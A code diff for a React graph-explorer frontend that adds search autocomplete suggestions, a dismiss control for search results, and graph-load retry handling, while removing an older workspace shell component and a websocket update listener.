-          requestAnimationFrame(() => {
-            if (cancelled) {
-              return;
-            }
-
-            const previous = prevActiveIdsRef.current;
-            previous.forEach((id) => {
-              if (!nextActiveIds.has(id) && graph.hasNode(id)) {
-                graph.setNodeAttribute(id, "hidden", true);
-              }
-            });
-            nextActiveIds.forEach((id) => {
-              if (graph.hasNode(id)) {
-                graph.setNodeAttribute(id, "hidden", false);
-              }
-            });
-
-            prevActiveIdsRef.current = nextActiveIds;
-            onActiveNodeCountChange(data.active_node_count);
-            sceneRef.current?.getRuntime()?.requestRender();
-          });
-        } catch (error) {
-          if (!cancelled) {
-            console.error("[GraphRuntimeStage] temporal snapshot failed", error);
-          }
-        }
-      };
-
-      void applySnapshot();
-      return () => {
-        cancelled = true;
-      };
-    }, [onActiveNodeCountChange, snapshot, temporalTime]);
-
-    useEffect(() => {
-      const socket = new WebSocket(`${socketProtocol()}//${window.location.host}/ws/graph-updates`);
-
-      socket.onmessage = (event) => {
-        try {
-          const message = JSON.parse(event.data);
-          if (message.event === "connection_ack" || message.event !== "graph_mutation") {
-            return;
-          }
-
-          const eventType = message.data?.event_type;
-          const payload = message.data?.payload;
-          if (eventType === "ADD_NODE" && payload?.id) {
-            batchMergeNodes([
-              {
-                id: payload.id,
-                attributes: {
-                  label: payload.properties?.content || payload.id,
-                  x: Number.isFinite(Number(payload.x ?? payload.properties?.x))
-                    ? Number(payload.x ?? payload.properties?.x)
-                    : deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).x,
-                  y: Number.isFinite(Number(payload.y ?? payload.properties?.y))
-                    ? Number(payload.y ?? payload.properties?.y)
-                    : deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).y,
-                  nodeType: payload.type,
-                  content: payload.properties?.content || payload.id,
-                  valid_from: payload.properties?.valid_from ?? null,
-                  valid_until: payload.properties?.valid_until ?? null,
-                  properties: payload.properties || {},
-                  size: 8,
-                  color: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
-                  baseColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
-                  baseSize: 8,
-                  glowColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
-                  borderColor: GRAPH_THEME.nodes.border,
-                  borderSize: 1,
-                },
-              },
-            ]);
-          }
-
-          if (eventType === "ADD_EDGE" && payload?.source_id && payload?.target_id) {
-            batchMergeEdges([
-              {
-                id: String(payload.id),
-                familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
-                source: payload.source_id,
-                target: payload.target_id,
-                attributes: {
-                  edgeId: String(payload.id),
-                  familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
-                  sourceId: payload.source_id,
-                  targetId: payload.target_id,
-                  weight: Number(payload.weight ?? 1),
-                  edgeType: payload.type,
-                  properties: payload.properties || {},
-                  size: computeEdgeSize(Number(payload.weight ?? 1)),
-                  baseSize: computeEdgeSize(Number(payload.weight ?? 1)),
-                  color: payload.properties?.inferred ? GRAPH_THEME.edges.pathColor : GRAPH_THEME.edges.baseColor,
-                  baseColor: GRAPH_THEME.edges.baseColor,
-                },
-              },
-            ]);
-          }
-
-          sceneRef.current?.getRuntime()?.requestRender();
-          setGraphVersion((current) => current + 1);
-        } catch (error) {
-          console.error("[GraphRuntimeStage] websocket update failed", error);
-        }
-      };
-
-      return () => {
-        socket.close();
-      };
-    }, []);
-
-    return (
-      <SigmaSceneAdapter
-        ref={sceneRef}
-        onNodeSelect={onNodeSelect}
-        graphVersion={graphVersion}
-        graphReady={Boolean(snapshot)}
-        displayGraph={displayResult.graph}
-        displayMeta={displayResult.meta}
-        displayState={displayResult.state}
-        selectedEdgeId=""
-        selectedNodeId={selectedNodeId}
-        focusedNodeId={viewMode === "focused" ? selectedNodeId : ""}
-        activePath={activePath}
-        activePathEdgeIds={EMPTY_PATH}
-        effectsState={STAGE_EFFECTS_STATE}
-        isLayoutRunning={isLayoutRunning}
-        onLayoutRunningChange={onLayoutRunningChange}
-        layoutSource={runtimeLayoutSource}
-        onLayoutStatusChange={onLayoutStatusChange}
-        viewMode={viewMode}
-      />
-    );
-  },
-);

explorer/src/workspaces/GraphWorkspace/GraphWorkspace.tsx

@@ -1,4 +1,4 @@
-import { useCallback, useEffect, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
+import { useCallback, useEffect, useId, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
 import {
   Activity,
   Clock3,
@@ -12,6 +12,7 @@ import {
   RefreshCw,
   Search,
   Users,
+  X,
   ZoomIn,
   ZoomOut,
 } from "lucide-react";
@@ -282,37 +283,168 @@ function SegmentedModeControl({ items }: { items: GraphToolbarItem[] }) {
   );
 }
 
+const SUGGESTION_DEBOUNCE_MS = 250;
+const SUGGESTION_LIMIT = 6;
+
 function SearchCommandBar({
   value,
   disabled,
   onChange,
   onSubmit,
+  onSelectSuggestion,
 }: {
   value: string;
   disabled: boolean;
   onChange: (value: string) => void;
   onSubmit: () => void;
+  onSelectSuggestion: (result: SearchResult) => void;
 }) {
+  const [suggestions, setSuggestions] = useState<SearchResult[]>([]);
+  const [suggestionsOpen, setSuggestionsOpen] = useState(false);
+  const [highlightedIndex, setHighlightedIndex] = useState(-1);
+  const abortRef = useRef<AbortController | null>(null);
+  const debounceRef = useRef<number | null>(null);
+  const listboxId = useId();
+
+  useEffect(() => {
+    if (debounceRef.current !== null) {
+      window.clearTimeout(debounceRef.current);
+    }
+
+    const query = value.trim();
+    if (disabled || !query) {
+      abortRef.current?.abort();
+      setSuggestions([]);
+      setSuggestionsOpen(false);
+      setHighlightedIndex(-1);
+      return;
+    }
+
+    debounceRef.current = window.setTimeout(() => {
+      abortRef.current?.abort();
+      const controller = new AbortController();
+      abortRef.current = controller;
+
+      fetch("/api/graph/search", {
+        method: "POST",
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify({ query, limit: SUGGESTION_LIMIT }),
+        signal: controller.signal,
+      })
+        .then((response) => {
+          if (!response.ok) {
+            throw new Error(`Search failed with status ${response.status}`);
+          }
+          return response.json();
+        })
+        .then((data: { results?: SearchResult[] }) => {
+          setSuggestions(data.results ?? []);
+          setSuggestionsOpen(true);
+          setHighlightedIndex(-1);
+        })
+        .catch((suggestionError: unknown) => {
+          if (suggestionError instanceof DOMException && suggestionError.name === "AbortError") {
+            return;
+          }
+          setSuggestions([]);
+          setSuggestionsOpen(false);
+          setHighlightedIndex(-1);
+        });
+    }, SUGGESTION_DEBOUNCE_MS);
+
+    return () => {
+      if (debounceRef.current !== null) {
+        window.clearTimeout(debounceRef.current);
+      }
+      abortRef.current?.abort();
+    };
+  }, [value, disabled]);
+
+  const closeSuggestions = () => {
+    setSuggestionsOpen(false);
+    setHighlightedIndex(-1);
+  };
+
+  const selectSuggestion = (result: SearchResult) => {
+    setSuggestions([]);
+    closeSuggestions();
+    onSelectSuggestion(result);
+  };
+
   return (
     <form
       className="explore-search-command"
+      role="combobox"
+      aria-expanded={suggestionsOpen && suggestions.length > 0}
+      aria-haspopup="listbox"
+      aria-owns={listboxId}
       onSubmit={(event) => {
         event.preventDefault();
-        if (!disabled) {
-          onSubmit();
+        if (disabled) return;
+        if (suggestionsOpen && highlightedIndex >= 0 && suggestions[highlightedIndex]) {
+          selectSuggestion(suggestions[highlightedIndex]);
+          return;
         }
+        closeSuggestions();
+        onSubmit();
       }}
     >
       <Search size={17} strokeWidth={2.15} aria-hidden />
       <input
         value={value}
         onChange={(event) => onChange(event.target.value)}
+        onFocus={() => {
+          if (suggestions.length > 0) {
+            setSuggestionsOpen(true);
+          }
+        }}
+        onBlur={() => {
+          window.setTimeout(closeSuggestions, 120);
+        }}
+        onKeyDown={(event) => {
+          if (!suggestionsOpen || suggestions.length === 0) return;
+          if (event.key === "ArrowDown") {
+            event.preventDefault();
+            setHighlightedIndex((current) => (current + 1) % suggestions.length);
+          } else if (event.key === "ArrowUp") {
+            event.preventDefault();
+            setHighlightedIndex((current) => (current <= 0 ? suggestions.length - 1 : current - 1));
+          } else if (event.key === "Escape") {
+            event.preventDefault();
+            closeSuggestions();
+          }
+        }}
         placeholder="Search command, node, or concept"
         aria-label="Search graph nodes"
+        aria-autocomplete="list"
+        aria-controls={listboxId}
+        aria-activedescendant={highlightedIndex >= 0 ? `${listboxId}-${highlightedIndex}` : undefined}
       />
       <button type="submit" disabled={disabled} aria-label="Search for the current query">
         Search
       </button>
+
+      {suggestionsOpen && suggestions.length > 0 ? (
+        <ul id={listboxId} role="listbox" className="explore-search-suggestions" aria-label="Search suggestions">
+          {suggestions.map((result, index) => (
+            <li
+              key={result.node.id}
+              id={`${listboxId}-${index}`}
+              role="option"
+              aria-selected={index === highlightedIndex}
+              data-highlighted={index === highlightedIndex}
+              onMouseDown={(event) => {
+                event.preventDefault();
+                selectSuggestion(result);
+              }}
+              onMouseEnter={() => setHighlightedIndex(index)}
+            >
+              <span className="explore-search-suggestion-label">{result.node.content || result.node.id}</span>
+              <span className="explore-search-suggestion-type">{result.node.type}</span>
+            </li>
+          ))}
+        </ul>
+      ) : null}
     </form>
   );
 }
@@ -577,6 +709,7 @@ const HUD_CSS = `
     gap: 10px;
   }
   .explore-search-command {
+    position: relative;
     min-width: 0;
     height: 43px;
     display: grid;
@@ -592,6 +725,50 @@ const HUD_CSS = `
     color: ${GRAPH_THEME.ui.text.muted};
     box-shadow: inset 0 1px 0 rgba(255,255,255,0.045), 0 14px 30px rgba(0,0,0,0.16);
   }
+  .explore-search-suggestions {
+    position: absolute;
+    top: calc(100% + 6px);
+    left: 0;
+    right: 0;
+    z-index: 30;
+    margin: 0;
+    padding: 6px;
+    list-style: none;
+    max-height: 288px;
+    overflow-y: auto;
+    border-radius: 14px;
+    border: 1px solid ${GRAPH_THEME.ui.control.inputBorder};
+    background: ${GRAPH_THEME.ui.surface.cardStrong};
+    box-shadow: 0 18px 40px rgba(0,0,0,0.32), inset 0 1px 0 rgba(255,255,255,0.04);
+  }
+  .explore-search-suggestions li {
+    display: flex;
+    align-items: baseline;
+    justify-content: space-between;
+    gap: 10px;
+    padding: 8px 10px;
+    border-radius: 10px;
+    cursor: pointer;
+    color: ${GRAPH_THEME.ui.text.body};
+  }
+  .explore-search-suggestions li[data-highlighted="true"] {
+    background: ${GRAPH_THEME.ui.control.hoverBg};
+  }
+  .explore-search-suggestion-label {
+    min-width: 0;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap;
+    font-size: 13px;
+    font-weight: 600;
+  }
+  .explore-search-suggestion-type {
+    flex-shrink: 0;
+    font-size: 11px;
+    color: ${GRAPH_THEME.ui.text.subtle};
+    text-transform: uppercase;
+    letter-spacing: 0.04em;
+  }
   .explore-search-command:focus-within {
     border-color: ${GRAPH_THEME.ui.control.activeBorder};
     box-shadow: inset 0 1px 0 rgba(255,255,255,0.06), 0 0 0 1px ${GRAPH_THEME.ui.control.focusRing}, 0 16px 32px rgba(0,0,0,0.18);
@@ -1225,12 +1402,28 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
     }));
   }, []);
 
-  const { data: summary, isLoading, isFetching } = useLoadGraph({
+  const {
+    data: summary,
+    isLoading,
+    isFetching,
+    isError: isGraphLoadError,
+    error: graphLoadError,
+    refetch: refetchGraph,
+  } = useLoadGraph({
     enabled: true,
     onGraphReady: applyGraphReadySummary,
     onProgress: handleLoadProgress,
   });
 
+  const graphLoadErrorMessage = isGraphLoadError
+    ? (graphLoadError instanceof Error ? graphLoadError.message : "Unknown error while loading the graph.")
+    : null;
+
+  const handleRetryGraphLoad = useCallback(() => {
+    setLoadingProgress(null);
+    void refetchGraph();
+  }, [refetchGraph]);
+
   useEffect(() => {
     if (isLayoutRunning) {
       return;
@@ -1523,6 +1716,11 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
     }
   }, [searchQuery]);
 
+  const handleClearSearchResults = useCallback(() => {
+    setSearchResults([]);
+    setSearchError("");
+  }, []);
+
   const handleRunPredictions = useCallback(async () => {
     if (!inspectableNodeId) return;
     setIsRunningPredictions(true);
@@ -1901,7 +2099,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
     viewMode,
   ]);
 
-  const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress));
+  const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress) || isGraphLoadError);
   const showSettlingStatus = graphReady && loadingProgress?.phase === "stabilizing_layout";
   const hasGraphContent = Boolean(summary?.nodeCount);
   const activePath = pathResult?.path ?? EMPTY_PATH;
@@ -2764,6 +2962,10 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
                     disabled={searchDisabled}
                     onChange={setSearchQuery}
                     onSubmit={() => void handleSearch()}
+                    onSelectSuggestion={(result) => {
+                      setSearchQuery("");
+                      focusNode(result.node.id);
+                    }}
                   />
                   <SegmentedModeControl items={viewModeItems} />
                   <div className="explore-toolbelt">
@@ -2839,20 +3041,36 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
               {searchError ? <div style={{ color: "#ff7b72", fontSize: 12 }}>{searchError}</div> : null}
 
               {searchResults.length ? (
-                <div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
-                  {searchResults.map((result) => (
-                    <button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
-                      <div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
-                        <div style={{ minWidth: 0 }}>
-                          <div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
-                          <div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
-                        </div>
-                        <div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
-                          {result.score.toFixed(3)}
-                        </div>
-                      </div>
+                <div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
+                  <div style={{ display: "flex", alignItems: "center", justifyContent: "space-between", gap: 12 }}>
+                    <span style={{ color: "#8b949e", fontSize: 12 }}>
+                      {searchResults.length} result{searchResults.length === 1 ? "" : "s"}
+                    </span>
+                    <button
+                      type="button"
+                      onClick={handleClearSearchResults}
+                      style={{ ...secondaryActionButtonStyle, minHeight: 26, padding: "4px 9px", gap: 5 }}
+                      aria-label="Dismiss search results"
+                    >
+                      <X size={12} strokeWidth={2.4} />
+                      Dismiss
                     </button>
-                  ))}
+                  </div>
+                  <div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
+                    {searchResults.map((result) => (
+                      <button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
+                        <div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
+                          <div style={{ minWidth: 0 }}>
+                            <div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
+                            <div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
+                          </div>
+                          <div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
+                            {Math.round(result.score)}
+                          </div>
+                        </div>
+                      </button>
+                    ))}
+                  </div>
                 </div>
               ) : null}
 
@@ -2946,6 +3164,8 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
                     progress={loadingProgress}
                     visible={showLoadingOverlay}
                     showGraphBehind={hasGraphContent || Boolean(loadingProgress?.showGraphBehind)}
+                    error={graphLoadErrorMessage}
+                    onRetry={handleRetryGraphLoad}
                   />
                 </div>
               </div>

explorer/src/workspaces/GraphWorkspace/GraphWorkspaceShell.tsx

@@ -1,862 +0,0 @@
-import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState, type CSSProperties } from "react";
-
-import { GraphLoadingOverlay } from "./GraphLoadingOverlay";
-import { getGraphLoadTitle } from "./graphLoading";
-import { useGraphData, useReloadGraphData } from "./useGraphData";
-import type {
-  ApiNode,
-  GraphLayoutStatus,
-  GraphLoadProgress,
-  GraphPath,
-  GraphSelectedNodeState,
-  GraphStageHandle,
-  GraphViewMode,
-} from "./types";
-
-type SearchResult = {
-  node: {
-    id: string;
-    type: string;
-    content: string;
-    properties: Record<string, unknown>;
-  };
-  score: number;
-};
-
-type LinkPrediction = {
-  target: string;
-  type: string;
-  label?: string;
-  score: number;
-};
-
-type PathResponse = {
-  path: GraphPath;
-  total_weight: number;
-  hop_count: number;
-  distance_band: "direct" | "near" | "mid-range" | "distant";
-};
-
-type TemporalBounds = {
-  min?: string | null;
-  max?: string | null;
-};
-
-const GraphRuntimeStage = lazy(() =>
-  import("./GraphRuntimeStage").then((module) => ({ default: module.GraphRuntimeStage })),
-);
-const TimelinePanel = lazy(() =>
-  import("./TimelinePanel").then((module) => ({ default: module.TimelinePanel })),
-);
-
-const HUD_CSS = `
-  .palantir-bg {
-    background:
-      radial-gradient(circle at top, rgba(103, 182, 255, 0.1), transparent 24%),
-      linear-gradient(180deg, #07111d 0%, #02060e 100%);
-  }
-  .palantir-grid {
-    position: absolute;
-    inset: 0;
-    background-image:
-      linear-gradient(rgba(88, 166, 255, 0.04) 1px, transparent 1px),
-      linear-gradient(90deg, rgba(88, 166, 255, 0.04) 1px, transparent 1px);
-    background-size: 44px 44px;
-    pointer-events: none;
-    z-index: 1;
-    opacity: 0.78;
-  }
-  .palantir-vignette {
-    position: absolute;
-    inset: 0;
-    background: radial-gradient(ellipse at center, transparent 34%, rgba(1, 4, 9, 0.88) 100%);
-    pointer-events: none;
-    z-index: 2;
-  }
-  .hud-scrollbar::-webkit-scrollbar { width: 6px; }
-  .hud-scrollbar::-webkit-scrollbar-track { background: transparent; }
-  .hud-scrollbar::-webkit-scrollbar-thumb { background: rgba(88, 166, 255, 0.25); border-radius: 6px; }
-  .graph-shell-top { position: absolute; top: 18px; left: 18px; right: 18px; z-index: 10; display: flex; justify-content: space-between; align-items: flex-start; gap: 16px; pointer-events: none; }
-  .graph-status-card, .graph-command-card {
-    pointer-events: auto;
-    border: 1px solid rgba(132, 197, 255, 0.12);
-    background: linear-gradient(180deg, rgba(7, 16, 29, 0.86), rgba(10, 22, 39, 0.72)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 50%);
-    box-shadow: 0 18px 42px rgba(0, 0, 0, 0.28), inset 0 1px 0 rgba(255,255,255,0.04);
-    backdrop-filter: blur(18px);
-  }
-  .graph-status-card { width: min(420px, 38vw); border-radius: 24px; padding: 16px 18px; }
-  .graph-command-card { width: min(620px, 55vw); border-radius: 24px; padding: 14px; display: flex; flex-direction: column; gap: 12px; }
-  .graph-status-label { display: inline-flex; align-items: center; gap: 8px; color: rgba(160, 191, 223, 0.88); font-size: 11px; font-weight: 800; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
-  .graph-status-label::before { content: ""; width: 7px; height: 7px; border-radius: 999px; background: linear-gradient(135deg, #8ed3ff, #ffb36a); box-shadow: 0 0 12px rgba(142, 211, 255, 0.5); }
-  .graph-status-title { color: #eef5ff; font-size: 20px; font-weight: 800; letter-spacing: -0.04em; margin-bottom: 6px; }
-  .graph-status-copy { color: #8fa8c6; font-size: 12px; line-height: 1.55; margin-bottom: 14px; max-width: 40ch; }
-  .graph-status-metrics, .graph-command-row, .graph-toggle-cluster, .graph-action-cluster { display: flex; gap: 8px; flex-wrap: wrap; }
-  .graph-command-row { justify-content: space-between; align-items: center; gap: 10px; }
-  .graph-search-shell { flex: 1; min-width: 260px; display: flex; align-items: center; gap: 10px; padding: 8px 10px 8px 14px; border-radius: 18px; border: 1px solid rgba(132, 197, 255, 0.12); background: rgba(0, 0, 0, 0.18); box-shadow: inset 0 1px 0 rgba(255,255,255,0.03); }
-  .graph-search-shell input { flex: 1; min-width: 0; border: none !important; background: transparent !important; padding: 0 !important; margin: 0 !important; }
-  .graph-search-shell input:focus { outline: none; }
-  .graph-search-results { position: absolute; top: 120px; right: 18px; width: min(420px, calc(100vw - 132px)); max-height: 320px; overflow-y: auto; padding: 12px; border-radius: 20px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.94), rgba(10, 21, 38, 0.86)); box-shadow: 0 18px 50px rgba(0,0,0,0.34); backdrop-filter: blur(18px); pointer-events: auto; z-index: 11; }
-  .graph-search-results-label { color: #6f89ab; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
-  .graph-search-result-card { width: 100%; text-align: left; padding: 12px 14px; border-radius: 16px; border: 1px solid rgba(132, 197, 255, 0.08); background: rgba(255, 255, 255, 0.025); cursor: pointer; transition: transform 160ms ease, border-color 160ms ease, background 160ms ease; }
-  .graph-search-result-card:hover { transform: translateY(-1px); border-color: rgba(132, 197, 255, 0.18); background: rgba(103, 182, 255, 0.08); }
-  .graph-inspector { pointer-events: auto; position: absolute; right: 18px; top: 154px; bottom: 108px; width: 380px; overflow-y: auto; transition: transform 0.34s cubic-bezier(0.16,1,0.3,1), opacity 0.22s ease; border-radius: 28px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.9), rgba(6, 12, 22, 0.88)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 40%); box-shadow: -18px 0 48px rgba(0, 0, 0, 0.32), inset 0 1px 0 rgba(255,255,255,0.04); backdrop-filter: blur(20px); }
-  .graph-inspector[data-open='false'] { transform: translateX(calc(100% + 24px)); opacity: 0; }
-  @keyframes sem-loader-pulse {
-    0%, 100% { transform: translateY(0) scale(0.92); opacity: 0.55; }
-    50% { transform: translateY(-4px) scale(1.08); opacity: 1; }
-  }
-  @media (max-width: 1220px) {
-    .graph-shell-top { flex-direction: column; align-items: stretch; }
-    .graph-status-card, .graph-command-card { width: auto; }
-    .graph-search-results { top: 202px; right: 18px; left: 18px; width: auto; }
-  }
-`;
-
-function useDebounce<T>(value: T, delay: number): T {
-  const [debouncedValue, setDebouncedValue] = useState<T>(value);
-  useEffect(() => {
-    const timeout = setTimeout(() => setDebouncedValue(value), delay);
-    return () => clearTimeout(timeout);
-  }, [delay, value]);
-  return debouncedValue;
-}
-
-function sourceAttribution(properties: Record<string, unknown>) {
-  const keys = ["source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"];
-  return keys
-    .filter((key) => key in properties)
-    .map((key) => ({ key, value: properties[key] }));
-}
-
-function toSelectedNodeState(node: ApiNode, neighborCount: number, fallbackColor = "#58a6ff"): GraphSelectedNodeState {
-  return {
-    id: node.id,
-    label: node.content || node.id,
-    content: node.content || node.id,
-    nodeType: node.type,
-    color: fallbackColor,
-    valid_from: node.valid_from ?? null,
-    valid_until: node.valid_until ?? null,
-    properties: node.properties ?? {},
-    neighborCount,
-    visibleNeighborCount: neighborCount,
-    collapsedNeighborCount: 0,
-    isNeighborhoodCollapsed: false,
-    canCollapseNeighborhood: neighborCount > 8,
-  };
-}
-
-function TimelineFallback({ min, max }: TemporalBounds) {
-  return (
-    <div
-      style={{
-        width: "100%",
-        height: "90px",
-        borderTop: "1px solid rgba(88, 166, 255, 0.2)",
-        background: "rgba(1, 4, 9, 0.88)",
-        display: "flex",
-        alignItems: "center",
-        justifyContent: "space-between",
-        padding: "0 18px",
-        color: "#8fa8c6",
-        fontSize: 12,
-        flexShrink: 0,
-      }}
-    >
-      <span>Temporal scrubber</span>
-      <span>{min || max ? "Preparing timeline runtime..." : "Temporal bounds loading..."}</span>
-    </div>
-  );
-}
-
-function NodePanel({
-  node,
-  predictions,
-  predictionType,
-  onPredictionTypeChange,
-  onRunPredictions,
-  pathTargetId,
-  onPathTargetChange,
-  onTracePath,
-  pathResult,
-  onDownloadProvenance,
-}: {
-  node: GraphSelectedNodeState | null;
-  predictions: LinkPrediction[];
-  predictionType: string;
-  onPredictionTypeChange: (value: string) => void;
-  onRunPredictions: () => void;
-  pathTargetId: string;
-  onPathTargetChange: (value: string) => void;
-  onTracePath: () => void;
-  pathResult: PathResponse | null;
-  onDownloadProvenance: (format: "json" | "markdown") => void;
-}) {
-  if (!node) {
-    return (
-      <div style={{ padding: 32, textAlign: "center" }}>
-        <p style={{ color: "#8b949e", fontSize: 14, margin: 0 }}>
-          Search for a node or click one in the canvas to inspect its properties.
-        </p>
-      </div>
-    );
-  }
-
-  const properties = node.properties ?? {};
-  const attribution = sourceAttribution(properties);
-  const accentColor = node.color || "#58a6ff";
-  const propertyEntries = Object.entries(properties).filter(([key]) => !["x", "y", "valid_from", "valid_until", "content", "source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"].includes(key));
-
-  return (
-    <aside style={{ padding: 24, display: "flex", flexDirection: "column", gap: 18 }}>
-      <div style={{ borderBottom: "1px solid rgba(88, 166, 255, 0.14)", paddingBottom: 16 }}>
-        <div style={{ display: "flex", alignItems: "center", gap: 10, marginBottom: 8 }}>
-          <span style={{ background: accentColor, boxShadow: `0 0 10px ${accentColor}`, width: 8, height: 8, borderRadius: "50%" }} />
-          <span style={{ color: accentColor, fontSize: 12, fontWeight: 800, textTransform: "uppercase", letterSpacing: "0.08em" }}>{node.nodeType || "Entity"}</span>
-        </div>
-        <h3 style={{ margin: 0, color: "#fff", fontSize: 24, lineHeight: 1, fontWeight: 800, letterSpacing: "-0.04em", wordBreak: "break-word" }}>{node.label}</h3>
-        <div style={{ color: "#8b949e", fontSize: 12, marginTop: 8 }}>{node.id}</div>
-        <div style={{ display: "flex", gap: 8, flexWrap: "wrap", marginTop: 12 }}>
-          {node.valid_from || node.valid_until ? <span style={subtleChipStyle}>temporal</span> : null}
-          <span style={subtleChipStyle}>{node.neighborCount} neighbors</span>
-          {attribution.length ? <span style={subtleChipStyle}>{attribution.length} source fields</span> : null}
-          {predictions.length ? <span style={subtleChipStyle}>{predictions.length} candidate links</span> : null}
-        </div>
-      </div>
-
-      <section style={sectionStyle}>
-        <div style={sectionTitleStyle}>Actions</div>
-        <div style={{ display: "flex", flexDirection: "column", gap: 10 }}>
-          <button style={{ ...actionButtonStyle, width: "100%", justifyContent: "center" }} onClick={onRunPredictions}>Run Link Prediction</button>
-          <div style={{ display: "flex", gap: 8, flexWrap: "wrap" }}>
-            <button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("json")}>Provenance JSON</button>
-            <button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("markdown")}>Provenance MD</button>
-          </div>
-        </div>
-        <input value={predictionType} onChange={(event) => onPredictionTypeChange(event.target.value)} placeholder="Optional candidate type filter, e.g. disease" style={inputStyle} />
-      </section>
-
-      <section style={sectionStyle}>
-        <div style={sectionTitleStyle}>Trace Path</div>
-        <input value={pathTargetId} onChange={(event) => onPathTargetChange(event.target.value)} placeholder="Target node ID" style={inputStyle} />
-        <button style={actionButtonStyle} onClick={onTracePath}>Trace Causal Path</button>
-        {pathResult?.path?.length ? (
-          <div style={{ display: "flex", flexDirection: "column", gap: 6, marginTop: 10 }}>
-            {pathResult.path.map((step, index) => (
-              <div key={`${step}-${index}`} style={pathStepStyle}>{index + 1}. {step}</div>
-            ))}
-            <div style={{ color: "#79c0ff", fontSize: 12, marginTop: 4 }}>total weight: {pathResult.total_weight.toFixed(3)}</div>
-          </div>
-        ) : (
-          <div style={emptyTextStyle}>Choose a target or click a candidate prediction to prepare a path trace.</div>
-        )}
-      </section>
-
-      <details style={collapseStyle} open={predictions.length > 0}>
-        <summary style={summaryStyle}>Candidate Links</summary>
-        <div style={{ padding: "0 14px 14px" }}>
-          {predictions.length > 0 ? (
-            <div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
-              {predictions.map((prediction) => (
-                <button key={`${prediction.target}-${prediction.type}`} style={predictionCardStyle} onClick={() => onPathTargetChange(prediction.target)}>
-                  <div style={{ color: "#fff", fontWeight: 600 }}>{prediction.label || prediction.target}</div>
-                  <div style={{ color: "#8b949e", fontSize: 12 }}>{prediction.type}</div>
-                  <div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>confidence {prediction.score.toFixed(3)}</div>
-                </button>
-              ))}
-            </div>
-          ) : (
-            <div style={emptyTextStyle}>Run link prediction to surface likely next-hop relationships.</div>
-          )}
-        </div>
-      </details>
-
-      <details style={collapseStyle}>
-        <summary style={summaryStyle}>Source Attribution</summary>
-        <div style={{ padding: "0 14px 14px" }}>
-          {attribution.length ? (
-            <div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
-              {attribution.map(({ key, value }) => (
-                <div key={key} style={propertyCardStyle}>
-                  <div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
-                  <div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
-                </div>
-              ))}
-            </div>
-          ) : (
-            <div style={emptyTextStyle}>No explicit attribution metadata was found on this node.</div>
-          )}
-        </div>
-      </details>
-
-      <details style={collapseStyle}>
-        <summary style={summaryStyle}>Properties</summary>
-        <div style={{ padding: "0 14px 14px" }}>
-          {propertyEntries.length ? (
-            <div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
-              {propertyEntries.map(([key, value]) => (
-                <div key={key} style={propertyCardStyle}>
-                  <div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
-                  <div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
-                </div>
-              ))}
-            </div>
-          ) : (
-            <div style={emptyTextStyle}>No additional properties are attached to this node.</div>
-          )}
-        </div>
-      </details>
-    </aside>
-  );
-}
-
-export function GraphWorkspaceShell() {
-  const [selectedNodeId, setSelectedNodeId] = useState("");
-  const [selectedNodeState, setSelectedNodeState] = useState<GraphSelectedNodeState | null>(null);
